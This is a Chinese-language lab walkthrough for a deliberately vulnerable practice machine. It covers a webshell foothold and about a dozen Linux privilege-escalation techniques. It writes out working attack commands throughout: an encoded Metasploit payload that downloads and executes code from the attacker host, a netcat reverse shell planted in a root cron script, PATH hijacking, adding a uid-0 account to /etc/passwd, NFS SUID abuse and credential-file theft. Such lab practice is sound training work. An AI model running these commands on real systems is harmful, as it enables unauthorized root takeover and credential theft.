注:这个靶机主要用来练习Linux提权,有超过12种的提权方法
1.主机发现:arp-scan -l,发现靶机ip为192.168.225.149,并进行访问
2.扫描端口,开启了80,22端口
nmap -n -p- -A 192.168.225.149 -o escalate.nmap
3.发现是默认的apache页面,那么爆破php后缀的路径,发现shell.php的页面,进行访问:
dirb http://192.168.225.149 -X .php
4.提示:使用cmd可以直接执行命令
确实可以:
5.使用msf进行攻击:
use exploit/multi/script/web_delivery
此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)
6.设置服务端和本地地址都为攻击机ip,运行如下:
工具提示把这段代码发给靶机执行,也就是放在cmd后面执行
7.因为服务端会进行url解码,所以先将payload进行url编码,目前来看只能使用burpsuite中的url编码:
8.将编码进行命令执行:
http://192.168.225.149/shell.php?cmd=%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%79%73%3b%69%6d%70%6f%72%74%20%73%73%6c%3b%75%3d%5f%5f%69%6d%70%6f%72%74%5f%5f%28%27%75%72%6c%6c%69%62%27%2b%7b%32%3a%27%27%2c%33%3a%27%2e%72%65%71%75%65%73%74%27%7d%5b%73%79%73%2e%76%65%72%73%69%6f%6e%5f%69%6e%66%6f%5b%30%5d%5d%2c%66%72%6f%6d%6c%69%73%74%3d%28%27%75%72%6c%6f%70%65%6e%27%2c%29%29%3b%72%3d%75%2e%75%72%6c%6f%70%65%6e%28%27%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%32%35%2e%31%33%33%3a%38%30%38%30%2f%4d%52%6a%53%77%32%54%64%38%48%47%27%2c%20%63%6f%6e%74%65%78%74%3d%73%73%6c%2e%5f%63%72%65%61%74%65%5f%75%6e%76%65%72%69%66%69%65%64%5f%63%6f%6e%74%65%78%74%28%29%29%3b%65%78%65%63%28%72%2e%72%65%61%64%28%29%29%3b%22
9.kali机上随意选择一个sessions就完成了提权:
sessions -i 3
8.开始进行shell环境
9.使用LinEnum工具枚举当前环境,该工具能把漏洞都体现出来:
wget http://192.168.225.133/LinEnum.sh
注:要进入tmp目录下继续wget,主要是因为tmp目录权限大。并且要先在kali上开启http.server的服务。
LinEnum讲解文章:https://www.freesion.com/article/5522129624/
10.先修改一下执行权限,执行枚举脚本:
chmod 777 LinEnum.sh
./LinEnum.sh |more
执行结果如下:
1)确存在8个用户,那么有可能每个用户都有提权的可能性
2)在crontab中,每5分钟使用root特权运行autoscript.sh文件
3)看到/etc/passwd对用户也是可写的
4)可以使用root特权运行shell和脚本文件,在其上启用了SUID位
1.suid提权:
1)python实现交互式shell:
python -c 'import pty;pty.spawn("/bin/bash")'
上述反馈说明:当前通过metasploit反弹的shell是在user6用户上,那么我们看看此用户是否能够提权
2)首先查找下能否执行SUID特权的命令
find / -perm -u=s -type f 2>/dev/null
看到用户user3下面有个shell命令文件,能够使用SUID
猜测此shell命令的二进制文件里面含有C语言setuid提权代码
3)进入user3目录执行./shell:
2.全局环境变量提权:
1)使用user5的script脚本也可以进行提权,下面来探究一下如何进行提权操作
2)进入user5目录,执行发现和ls命令一样的结果,这是因为这个脚本是使用root权限执行ls命令,所以这里可以通过全局环境变量提权
3)全局变量提权的参考文章及命令:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
cd /tmp
echo "/bin/bash" > ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
3.计划任务crontab提权:
1.借鉴方法2,使用相同的脚本文件,借助Path变量方法更改user4用户的密码为123
cd /tmp
echo 'echo "user4:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user4
2.使用msfvenom写一段反弹shell:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.225.133 lport=8888 R
3.在user4桌面文件夹中看到文件autoscript.sh,将反弹shell写入到autoscript脚本中:
echo 'mkfifo /tmp/kndq; nc 192.168.225.133 8888 0</tmp/kndq | /bin/sh >/tmp/kndq 2>&1; rm /tmp/kndq' > autoscript.sh
4.在kali终端中开启监听,等待不到5分钟,等待autoscript.sh脚本自动加载,即可反弹回shell,查看权限为root:
4.vi写入提权:
1.借鉴方法3,将所有用户的密码更改为12345,并在用户之间切换来检查更多漏洞,发现user8对vi编辑器具有sudo权限
cd /tmp
echo 'echo "user8:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user8
2.使用sudo打开vi编辑器,并插入sh命令:
sudo vi
:!sh
<enter>
5.openssl提权:
1.继续根据枚举的信息,确认user7是gid为0的组成员,使用和方法3相同的办法进入user7,切换至user7,发现user7属于gid为0的组
cd /tmp
echo 'echo "user7:123" | chpasswd' >ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user7
2.从LinEnum扫描中知道/etc/passwd文件对于用户是可写的:user7可以编辑/etc/passwd文件。
所以,创建了一个具有root特权的名为ysy的新用户,并使用openssl为该用户生成了密码:
openssl passwd -1 -salt ysy 123
3.将这个密码写入到我新建的ysy用户中:
echo 'ysy:$1$ysy$FEKea8H9FLIyRztwO8UXd/:0:0:/root:/bin/bash' >> /etc/passwd
查看一下,写进了!
4.使用ysy的账号密码登录即可获得超户权限
6.NFS挂载提权:
1.枚举脚本含有针对NFS的服务
2.通过枚举的信息可知NFS服务配置不当导致直接提权,具体原因如下:
cat /etc/exports
3.发现/home/user5 *(rw,no_root_squash),意思是可以通过用户user5生成一个可提权的可执行文件放在目标靶机执行即可提权
4.挂载nfs到本地kali,生成一个提权文件(靶机被完坏了,临时换一个ip:192.168.225.151)
showmount -e 192.168.225.151
mount -t nfs 192.168.225.151:/home/user5 /tmp/
3.将user5通过NFS共享到本地,创建一个SUID执行:
cp /bin/sh rootysy
chown root:root rootysy
chmod 4755 rootysy
4.在shell中进入user5:
cd /home/user5
./rootysy
7.mysql提权:
1.尝试使用默认密码登录mysql:
mysql -u root -p
2.查看数据库,一般思路要从user表中获取密码:
show databases;
use user;
show tables;
select * from user_info;
3.获取mysql的密码为mysql@12345,所以切换至mysql用户
4.经过查找,发现用户1-8的密码:
ls -la
chmod 600 .user_informations
cat .user_informations
5.继续信息收集,在secret.cnf中发现root账号的密码:
cd /etc/mysql
cat secret.cnf
8.运行超户身份提权:
1.因为上面知道各个用户的密码,看看还有哪个用户没使用其进行提权,看了下user2没有,切换过去看看
2.根据提示执行:
sudo -u user1 bash //以超户身份运行bash
sudo su
9.uid提权:
1.切换至user4,发现root的组里面有user4和user7,意思是user4和user7可以修改/etc/passwd文件,那么提权的方式跟方法五是一样的,直接添加uid为0的用户即可提权
su user4
cat /etc/group
2.使用openssl生成自定义的密码
10.shell提权:
1.在/home/user3下,发现了script.sh文件
2.这里直接执行.script.sh是不能提权的,需要借用执行shell才能提权,因为通过strings命令查看shell的二进制文件发现里面是调用.script.sh所以套路跟方法一时候一样的,执行.script.sh脚本即可
echo "/bin/sh" >.script.sh
./shell
11.john爆破提权:
1.echo查看/etc/shadow文件,读取root的hash,并使用john中自带密码库进行爆破即可
12.user提权:
1.直接通过user1的密码查看sudo -l 的特权:
2.执行sudo -i即可提权: